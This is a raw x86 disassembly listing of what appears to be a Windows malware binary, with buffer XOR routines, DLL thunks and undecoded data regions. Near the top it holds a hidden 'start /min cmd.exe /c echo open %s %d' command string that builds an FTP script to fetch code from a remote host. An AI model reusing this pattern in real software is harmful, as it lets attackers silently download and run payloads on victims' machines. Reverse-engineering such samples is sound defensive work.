		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5EDAB2
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi ; dword_50FAC4
		push	ebp
		call	esi ; dword_50FAC4
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi ; dword_50FAC4
		push	ebp
		call	esi ; dword_50FAC4
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		db 39h,	2 dup(0CCh)
byte_4367D0	db 90h			; DATA XREF: ___:off_43E004o
					; ___:0043E018o ...
		db 0E9h, 37h, 0F7h
		dd 3DE9777Fh, 0D9777E57h, 7F2BE6E9h
; ---------------------------------------------------------------------------
		ja	short near ptr byte_4367F8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		db 0BBh
		db 90h
		db 0E9h, 0A2h, 12h
		dd 0E9907781h, 7781146Ch, 14EBE990h
byte_4367F8	db 81h,	77h		; CODE XREF: ___:004367E0j

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E1h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43687D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_436811:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436BCC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_436827
		push	esi
		call	sub_4367E2
		pop	ecx


loc_436827:				; CODE XREF: ___:0043681Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		nop
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 810DEBE9h, 0E990DE77h, 777E6714h
		db 90h
; ---------------------------------------------------------------------------


loc_43687D:				; CODE XREF: ___:00436804j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 778111C8h, 35F0E990h, 0E9907780h, 7781108Ch,	5B6DE990h
		dd 3D83777Fh, 50E9F4h, 0FF0C75FFh, 0E8042474h, 777FE54Ch
		dd 68C35990h, 50E9E4h, 50E9F468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 593DE990h, 0D9E9777Fh, 79778008h, 8E9E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		jmp	near ptr 77C4FA10h
sub_4368EA	endp

; ---------------------------------------------------------------------------
		dec	ebx

; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		dd 80A0D4E9h, 0E990C577h, 7780862Ch, 811478E9h,	0E9900C77h
		dd 7780A486h, 80A806E9h, 0E990E377h, 7780AB78h,	0A99AE990h
		dd 34E97780h, 0AE7780ADh, 11D2E990h, 0E9907781h, 7780B15Eh
		dd 84DCE990h, 0E9907780h, 7780A3F3h, 569DE990h,	0E990777Fh
		dd 777E5B35h, 3C0E990h,	0E9907780h, 778007C2h, 887EE990h
		dd 0EEE9777Eh, 8D77808Eh, 0AE20E990h, 0E9907780h, 7780398Bh
		dd 38B1E990h, 0E9907780h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		db 0A9h, 90h, 0E9h
		dd 7780030Ch, 0A143E990h, 0D0567780h, 574E35A8h, 0B0C4B231h
		dd 65C01F5Ah, 0A164B9h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh,	7FE8DBE8h
		dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 7E8726E8h
		dd 0D8B9077h, 50E8E8h, 0E8900889h, 777E86E0h, 0E8E40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9D8h, 12EE8h, 1D3900h
		dd 7500446Dh, 6C08680Ch, 86E80043h, 9077816Bh, 0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h
		dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22D9570h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2449F94h
		dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 778032CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436BCC	proc near		; CODE XREF: ___:00436814p
		nop
		jmp	near ptr 77C21868h
sub_436BCC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_436BD4	dd 777FE279h, 32BCE990h, 0CBE97780h, 0F5777FC1h, 8301E990h
		dd 78E9777Eh, 4E778031h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 6EE9C359h, 8377816Ah, 0C3C3C033h, 8592E990h,	0E990777Eh
		dd 777E85C3h, 7FE75FE9h, 0E990E877h, 777FF070h,	8205E990h
		dd 0E9907781h, 75C6973Bh, 9819E990h, 0F3E975C6h, 8075C5B3h
		dd 8843E990h, 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h
		dd 75C54BF8h, 0C60A56E9h, 0E9900275h, 75C4EE84h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23A9BD2h, 3A9C81E9h,	0E9902002h, 23A9EB1h, 3B9383E9h
		dd 7DE97402h, 2A023C93h, 3CA385E9h, 0E990C702h,	23D9370h
		dd 936AE990h, 0CAE9023Eh, 7B023EA8h, 3EAA9EE9h,	59E97B02h
		dd 7023EAEh, 0B0F4E990h, 0E990023Eh, 23F934Ch, 9AB2E990h
		dd 0E990023Fh, 23F9EA7h, 933AE990h, 0E9900240h,	2409F62h
		dd 41932FE9h, 0E9901102h, 241967Dh, 9322E990h, 0E9900242h
		dd 243931Ch, 9316E990h,	41E90244h, 0B302449Eh, 930AE990h
		dd 0E9900245h, 2459A88h, 9F43E990h, 0E9900245h,	24692F8h
		dd 92F2E990h, 0E990023Ah, 2399C54h, 92E6E990h, 0E1E90239h
		dd 0CF023892h, 9B70E990h, 0E9900237h, 23792D4h,	3692CFE9h
		dd 0E9906702h, 2359B1Dh, 96E6E990h, 0E9900235h,	23592BCh
		dd 9BA2E990h, 0E9900234h, 22D92B0h, 9643E990h, 0E9900234h
		dd 2349622h, 95F2E990h,	0E9900234h, 7C4CA385h, 0A297E990h
		dd 0E9907C4Ch, 2349413h, 349287E9h, 0E9901102h,	2339C40h
		dd 99D2E990h, 0E9900233h, 233990Fh, 971FE990h, 0EDE90233h
		dd 46023395h, 339444E9h, 0E9902802h, 233925Ch, 9F72E990h
		dd 98E90232h, 3C02329Dh, 9B5CE990h, 0BFE90232h,	9F023297h
		dd 9718E990h, 39E90232h, 28023292h, 9D43E990h, 0E9900231h
		dd 2319960h, 3197C0E9h,	0E990C702h, 23194C5h, 921AE990h
		dd 0E9900231h, 2309E6Bh, 9AA5E990h, 0E9900230h,	2309A6Dh
		dd 93E3E990h, 0E9900230h, 23091FCh, 9E68E990h, 0B0E9022Fh
		dd 7E022F9Ah, 91EAE990h, 0E990022Fh, 22E9DFAh, 9C55E990h
		dd 0E990022Eh, 22E99E4h, 2E97D0E9h, 0E9905802h,	22E91CCh
		dd 92AEE990h, 0E990022Dh, 1B6C72h, 963EE990h, 9DE90246h
		dd 0BB0251A2h, 91AEE990h, 0E990024Ch, 25191A8h,	91A2E990h
		dd 0E9900250h, 24F919Ch, 9196E990h, 0E990024Eh,	24D9874h
		dd 9506E990h, 0E990024Dh, 24D9184h, 9AEFE990h, 0E990024Ch
		dd 24C9941h, 96E3E990h,	87E9024Ch, 9A024699h, 4B9BDFE9h
		dd 0E9908802h, 24B9818h, 9502E990h, 0E990024Bh,	24B9154h
		dd 4A914FE9h, 0E9909202h, 2499148h, 48AB48E9h, 0E9901B02h
		dd 248A7C1h, 0A603E990h, 0E9900248h, 248A3E2h, 912AE990h
		dd 25E90248h, 7E024791h, 60A22FE9h, 0E990977Ch,	7167D059h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		nop
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		dw 86E9h
; ---------------------------------------------------------------------------
		jnz	short sub_436F5A
		jno	short loc_436F6A

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EF4	proc near		; CODE XREF: sub_42C810+D2p
		nop
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_436EFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		jmp	near ptr 71AB428Ah
sub_436F00	endp

; ---------------------------------------------------------------------------
		db 0F0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42D580+251p
					; sub_42D580+2E9p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F0C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A2h, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F1E	proc near		; CODE XREF: sub_42D580+239p
					; ___:00436F94j
		nop
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 3Ch, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
					; sub_42D580+26Ep
		jmp	near ptr 71AB951Eh
sub_436F2A	endp

; ---------------------------------------------------------------------------
		db 25h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F30	proc near		; CODE XREF: sub_42D580+226p
		jmp	near ptr 71AB3E00h
sub_436F30	endp

; ---------------------------------------------------------------------------
		db 0D9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F42	proc near		; CODE XREF: sub_42D580+201p
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		db 74h
		db 90h
		db 0E9h, 0DAh, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		db 55h
		db 90h
		db 0E9h, 6Eh, 0E1h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
					; ___:00436EF0j
		jmp	near ptr 71AB94DCh
sub_436F5A	endp

; ---------------------------------------------------------------------------
		db 3Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		dw 0E5E9h
		db 9Bh,	68h
; ---------------------------------------------------------------------------


loc_436F6A:				; CODE XREF: ___:00436EF2j
		jno	short near ptr loc_436F6D+1
		nop


loc_436F6D:				; CODE XREF: ___:loc_436F6Aj
		jmp	near ptr 71AB4519h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167BC48h, 0BD91E990h, 0E9907167h, 7167BCE5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near		; CODE XREF: sub_42D580+1BAp
					; sub_42D580+1E0p
		nop
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 716817D9h, 67D4F4E9h
; ---------------------------------------------------------------------------
		jno	short sub_436F1E

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		jmp	near ptr 71ABE6EBh
sub_436F96	endp

; ---------------------------------------------------------------------------
		inc	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp

; ---------------------------------------------------------------------------
		db 34h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near		; CODE XREF: sub_4338B0+29p
		nop
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		nop
		jmp	near ptr 71B25099h
sub_436FAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_436FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp

; ---------------------------------------------------------------------------
		db 67h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp

; ---------------------------------------------------------------------------
		db 0BDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 7Ch, 0F2h
dword_436FD0	dd 0E9907780h, 7780F14Dh, 80F193E9h, 3DE99577h,	117780F3h
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh,	8DFFFC97h
		dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================



SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
